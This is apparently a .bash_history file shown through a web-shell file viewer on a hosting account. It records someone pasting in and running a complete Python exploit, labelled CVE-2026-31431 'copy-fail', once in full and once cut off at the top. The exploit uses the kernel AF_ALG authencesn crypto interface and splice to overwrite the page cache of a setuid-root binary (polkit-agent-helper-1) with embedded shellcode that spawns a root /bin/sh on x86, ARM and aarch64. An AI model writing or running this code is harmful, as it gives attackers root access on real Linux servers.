| Current Path : /home/uzgidenergo/ |
| Current File : /home/uzgidenergo/.bash_history |
if arch == "x86_64":
return zlib.decompress(bytes.fromhex(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c30"
"1d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b"
"9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
if arch in ("i386", "i686"):
return bytes.fromhex(
"7f454c46" "010101000000000000000000" "0200" "0300" "01000000"
"54800408" "34000000" "00000000" "00000000" "3400" "2000" "0100"
"2800" "0000" "0000"
"01000000" "00000000" "00800408" "00800408" "79000000" "79000000"
"05000000" "00100000"
"31c0" "b017" "31db" "cd80" "eb0e" "5b" "31c9" "31d2" "b00b" "cd80"
"31c0" "40" "cd80" "e8edffffff" "2f62696e" "2f736800"
)
if arch in ("armv7l", "armv6l", "armv5l", "arm"):
return bytes.fromhex(
"7f454c46" "010101000000000000000000" "0200" "2800" "01000000"
"54800408" "34000000" "00000000" "00000005" "3400" "2000" "0100"
"2800" "0000" "0000"
"01000000" "00000000" "00800408" "00800408" "88000000" "88000000"
"05000000" "00100000"
"1770a0e3" "0000a0e3" "000000ef" "18008fe2" "0010a0e3" "0020a0e3"
"0b70a0e3" "000000ef" "0170a0e3" "0100a0e3" "000000ef"
"2f62696e" "2f736800"
)
if arch == "aarch64":
return bytes.fromhex(
"7f454c46" "020101000000000000000000" "0200" "b700" "01000000"
"7800400000000000" "4000000000000000" "0000000000000000" "00000000"
"4000" "3800" "0100" "4000" "0000" "0000"
"01000000" "05000000" "0000000000000000" "0000400000000000"
"0000400000000000" "ac00000000000000" "ac00000000000000" "0010000000000000"
"481280d2" "000080d2" "010000d4" "00010010" "010080d2" "020080d2"
"a81b80d2" "010000d4" "a80b80d2" "200080d2" "010000d4"
"2f62696e" "2f736800"
)
sys.exit(
f"fatal: unsupported architecture '{arch}' — "
"only x86_64, i386/i686, armv6l/armv7l, and aarch64 are included."
)
def _find_target():
for path in _SUID_TARGETS:
try:
st = os.stat(path)
if st.st_uid == 0 and (st.st_mode & stat.S_ISUID):
return path
except OSError:
continue
except PermissionError:
continue
sys.exit(
"fatal: no suitable setuid-root binary found.\n"
f"Searched: {', '.join(_SUID_TARGETS)}\n"
"Tip: run with --scan to find all setuid-root binaries on this system."
)
_SUPPORTED_ARCHS = {"x86_64", "i386", "i686", "armv5l", "armv6l", "armv7l", "arm", "aarch64"}
_SCAN_ROOTS = ["/usr", "/bin", "/sbin", "/opt", "/snap"]
def _scan_suid(roots=None):
found = []
for base in (roots or _SCAN_ROOTS):
try:
for dirpath, _, files in os.walk(base, followlinks=False):
for name in files:
path = os.path.join(dirpath, name)
try:
st = os.stat(path)
if st.st_uid == 0 and (st.st_mode & stat.S_ISUID):
found.append(path)
except OSError:
continue
except OSError:
continue
return sorted(found)
def _preflight():
arch = platform.machine()
ok = True
print("[*] Pre-flight check")
print(f" Kernel : {platform.release()}")
print(f" Arch : {arch}")
print(f" Python : {platform.python_version()}")
print(f" splice : {'os.splice (native)' if hasattr(os, 'splice') else 'ctypes fallback'}")
uid = os.getuid()
if uid == 0:
print("[!] Already running as root — nothing to do.")
return False
print(f"[+] UID : {uid} (not root)")
if arch in _SUPPORTED_ARCHS:
print(f"[+] Payload : available for {arch}")
else:
print(f"[-] Payload : NO payload for {arch}")
ok = False
try:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.close()
print("[+] AF_ALG : socket creation OK")
except OSError as e:
print(f"[-] AF_ALG : socket creation FAILED — {e}")
ok = False
try:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))", 0, 0))
s.close()
print("[+] Algo : authencesn(hmac(sha256),cbc(aes)) available")
except OSError as e:
print(f"[-] Algo : authencesn FAILED — {e}")
print(" Fix : modprobe authencesn; modprobe hmac; modprobe cbc")
ok = False
target = None
for path in _SUID_TARGETS:
try:
st = os.stat(path)
if st.st_uid == 0 and (st.st_mode & stat.S_ISUID):
target = path
break
except OSError:
continue
if target:
print(f"[+] Target : {target} (setuid root)")
else:
print("[-] Target : none found in shortlist — run --scan")
ok = False
print()
print("[+] System looks EXPLOITABLE" if ok else "[-] System does NOT look exploitable")
return ok
def main():
for arg in sys.argv[1:]:
if arg in ("-h", "--help", "-help"):
prog = sys.argv[0]
print(f"Usage: {prog} [--check | --scan | -h]", file=sys.stderr)
print("", file=sys.stderr)
print(" (no args) Run the exploit", file=sys.stderr)
print(" --check Pre-flight diagnostics", file=sys.stderr)
print(" --scan List all setuid-root binaries", file=sys.stderr)
print("", file=sys.stderr)
print("Python 3 implementation of CVE-2026-31431 (copy-fail).", file=sys.stderr)
print("Overwrites page cache of a setuid-root binary and runs it.", file=sys.stderr)
print(f"Architectures: {', '.join(sorted(_SUPPORTED_ARCHS))}", file=sys.stderr)
print("See https://copy.fail for more information.", file=sys.stderr)
sys.exit(0)
if arg in ("--check", "-check"):
sys.exit(0 if _preflight() else 1)
if arg in ("--scan", "-scan"):
found = _scan_suid()
print(f"Found {len(found)} setuid-root binary/binaries:")
for t in found:
print(f" {t}")
sys.exit(0)
payload = _get_payload()
target = _find_target()
with open(target, "rb") as f:
logging.info("Target: %s (%d-byte payload, arch=%s)",
target, len(payload), platform.machine())
logging.info("Overwriting page cache...")
for i in range(0, len(payload), 4):
_c(f, i, payload[i:i + 4])
if len(payload) < 10000:
if i % 100 == 0:
logging.info(" ... wrote %d bytes", i + 4)
else:
if i % 10000 == 0:
logging.info(" ... wrote %d bytes", i + 4)
logging.info(" ... wrote %d bytes total", len(payload))
logging.info("Executing payload via %s", target)
os.execv(target, [target])
if __name__ == "__main__":
main()
PYEOF
python3 copy-fail.py
exit
cd /var/tmp
ls -la
cat > copy-fail.py << 'PYEOF' && chmod +x copy-fail.py
#!/usr/bin/env python3
import ctypes
import logging
import os
import platform
import socket
import stat
import struct
import sys
import zlib
logging.basicConfig(format="%(message)s", level=logging.INFO)
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
_SUID_TARGETS = [
#"/usr/bin/su",
#"/opt/imunify360/venv/share/imunify360/scripts/send-notifications",
#"/usr/lib/.build-id/26/484d299e7cb1232c7c75c66cf52398bc2f47c9",
#"/usr/lib/.build-id/63/282a9dbaac9f16be6916c6ebc9e7264a473832",
"/usr/lib/polkit-1/polkit-agent-helper-1"
#"/bin/su",
#"/usr/bin/passwd",
#"/usr/bin/newgrp",
#"/usr/bin/chsh",
#"/usr/bin/chfn",
#"/usr/bin/sudo",
]
if hasattr(os, "splice"):
def _splice(fd_in, fd_out, count, offset_src=None):
kw = {} if offset_src is None else {"offset_src": offset_src}
os.splice(fd_in, fd_out, count, **kw)
else:
_libc = ctypes.CDLL(None, use_errno=True)
_libc.splice.argtypes = [
ctypes.c_int, ctypes.POINTER(ctypes.c_int64),
ctypes.c_int, ctypes.POINTER(ctypes.c_int64),
ctypes.c_size_t, ctypes.c_uint,
]
_libc.splice.restype = ctypes.c_ssize_t
def _splice(fd_in, fd_out, count, offset_src=None):
off = ctypes.c_int64(offset_src) if offset_src is not None else None
off_ref = ctypes.byref(off) if off is not None else None
_libc.splice(fd_in, off_ref, fd_out, None, count, 0)
def _c(f, t, chunk):
alg = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
try:
alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))", 0, 0))
key = bytes.fromhex("0800010000000010" + "00" * 32)
alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)
alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
u, _ = alg.accept()
try:
ancdata = [
(SOL_ALG, ALG_SET_OP, b"\x00" * 4),
(SOL_ALG, ALG_SET_IV, b"\x10" + b"\x00" * 19),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + b"\x00" * 3),
]
u.sendmsg([b"AAAA" + chunk], ancdata, socket.MSG_MORE)
rfd, wfd = os.pipe()
try:
n = t + 4
_splice(f.fileno(), wfd, n, offset_src=0)
_splice(rfd, u.fileno(), n)
try:
u.recv(8 + t)
except OSError:
pass
finally:
os.close(rfd)
os.close(wfd)
finally:
u.close()
finally:
alg.close()
def _get_payload():
if sys.platform != "linux":
sys.exit(
f"fatal: {sys.platform} is not supported — CVE-2026-31431 is a Linux "
"kernel vulnerability. Run inside a Linux VM."
)
arch = platform.machine()
if arch == "x86_64":
return zlib.decompress(bytes.fromhex(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c30"
"1d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b"
"9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
if arch in ("i386", "i686"):
return bytes.fromhex(
"7f454c46" "010101000000000000000000" "0200" "0300" "01000000"
"54800408" "34000000" "00000000" "00000000" "3400" "2000" "0100"
"2800" "0000" "0000"
"01000000" "00000000" "00800408" "00800408" "79000000" "79000000"
"05000000" "00100000"
"31c0" "b017" "31db" "cd80" "eb0e" "5b" "31c9" "31d2" "b00b" "cd80"
"31c0" "40" "cd80" "e8edffffff" "2f62696e" "2f736800"
)
if arch in ("armv7l", "armv6l", "armv5l", "arm"):
return bytes.fromhex(
"7f454c46" "010101000000000000000000" "0200" "2800" "01000000"
"54800408" "34000000" "00000000" "00000005" "3400" "2000" "0100"
"2800" "0000" "0000"
"01000000" "00000000" "00800408" "00800408" "88000000" "88000000"
"05000000" "00100000"
"1770a0e3" "0000a0e3" "000000ef" "18008fe2" "0010a0e3" "0020a0e3"
"0b70a0e3" "000000ef" "0170a0e3" "0100a0e3" "000000ef"
"2f62696e" "2f736800"
)
if arch == "aarch64":
return bytes.fromhex(
"7f454c46" "020101000000000000000000" "0200" "b700" "01000000"
"7800400000000000" "4000000000000000" "0000000000000000" "00000000"
"4000" "3800" "0100" "4000" "0000" "0000"
"01000000" "05000000" "0000000000000000" "0000400000000000"
"0000400000000000" "ac00000000000000" "ac00000000000000" "0010000000000000"
"481280d2" "000080d2" "010000d4" "00010010" "010080d2" "020080d2"
"a81b80d2" "010000d4" "a80b80d2" "200080d2" "010000d4"
"2f62696e" "2f736800"
)
sys.exit(
f"fatal: unsupported architecture '{arch}' — "
"only x86_64, i386/i686, armv6l/armv7l, and aarch64 are included."
)
def _find_target():
for path in _SUID_TARGETS:
try:
st = os.stat(path)
if st.st_uid == 0 and (st.st_mode & stat.S_ISUID):
return path
except OSError:
continue
except PermissionError:
continue
sys.exit(
"fatal: no suitable setuid-root binary found.\n"
f"Searched: {', '.join(_SUID_TARGETS)}\n"
"Tip: run with --scan to find all setuid-root binaries on this system."
)
_SUPPORTED_ARCHS = {"x86_64", "i386", "i686", "armv5l", "armv6l", "armv7l", "arm", "aarch64"}
_SCAN_ROOTS = ["/usr", "/bin", "/sbin", "/opt", "/snap"]
def _scan_suid(roots=None):
found = []
for base in (roots or _SCAN_ROOTS):
try:
for dirpath, _, files in os.walk(base, followlinks=False):
for name in files:
path = os.path.join(dirpath, name)
try:
st = os.stat(path)
if st.st_uid == 0 and (st.st_mode & stat.S_ISUID):
found.append(path)
except OSError:
continue
except OSError:
continue
return sorted(found)
def _preflight():
arch = platform.machine()
ok = True
print("[*] Pre-flight check")
print(f" Kernel : {platform.release()}")
print(f" Arch : {arch}")
print(f" Python : {platform.python_version()}")
print(f" splice : {'os.splice (native)' if hasattr(os, 'splice') else 'ctypes fallback'}")
uid = os.getuid()
if uid == 0:
print("[!] Already running as root — nothing to do.")
return False
print(f"[+] UID : {uid} (not root)")
if arch in _SUPPORTED_ARCHS:
print(f"[+] Payload : available for {arch}")
else:
print(f"[-] Payload : NO payload for {arch}")
ok = False
try:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.close()
print("[+] AF_ALG : socket creation OK")
except OSError as e:
print(f"[-] AF_ALG : socket creation FAILED — {e}")
ok = False
try:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))", 0, 0))
s.close()
print("[+] Algo : authencesn(hmac(sha256),cbc(aes)) available")
except OSError as e:
print(f"[-] Algo : authencesn FAILED — {e}")
print(" Fix : modprobe authencesn; modprobe hmac; modprobe cbc")
ok = False
target = None
for path in _SUID_TARGETS:
try:
st = os.stat(path)
if st.st_uid == 0 and (st.st_mode & stat.S_ISUID):
target = path
break
except OSError:
continue
if target:
print(f"[+] Target : {target} (setuid root)")
else:
print("[-] Target : none found in shortlist — run --scan")
ok = False
print()
print("[+] System looks EXPLOITABLE" if ok else "[-] System does NOT look exploitable")
return ok
def main():
for arg in sys.argv[1:]:
if arg in ("-h", "--help", "-help"):
prog = sys.argv[0]
print(f"Usage: {prog} [--check | --scan | -h]", file=sys.stderr)
print("", file=sys.stderr)
print(" (no args) Run the exploit", file=sys.stderr)
print(" --check Pre-flight diagnostics", file=sys.stderr)
print(" --scan List all setuid-root binaries", file=sys.stderr)
print("", file=sys.stderr)
print("Python 3 implementation of CVE-2026-31431 (copy-fail).", file=sys.stderr)
print("Overwrites page cache of a setuid-root binary and runs it.", file=sys.stderr)
print(f"Architectures: {', '.join(sorted(_SUPPORTED_ARCHS))}", file=sys.stderr)
print("See https://copy.fail for more information.", file=sys.stderr)
sys.exit(0)
if arg in ("--check", "-check"):
sys.exit(0 if _preflight() else 1)
if arg in ("--scan", "-scan"):
found = _scan_suid()
print(f"Found {len(found)} setuid-root binary/binaries:")
for t in found:
print(f" {t}")
sys.exit(0)
payload = _get_payload()
target = _find_target()
with open(target, "rb") as f:
logging.info("Target: %s (%d-byte payload, arch=%s)",
target, len(payload), platform.machine())
logging.info("Overwriting page cache...")
for i in range(0, len(payload), 4):
_c(f, i, payload[i:i + 4])
if len(payload) < 10000:
if i % 100 == 0:
logging.info(" ... wrote %d bytes", i + 4)
else:
if i % 10000 == 0:
logging.info(" ... wrote %d bytes", i + 4)
logging.info(" ... wrote %d bytes total", len(payload))
logging.info("Executing payload via %s", target)
os.execv(target, [target])
if __name__ == "__main__":
main()
PYEOF
python3 copy-fail.py --scan
python3 copy-faail.py
python3 copy-fail.py
exit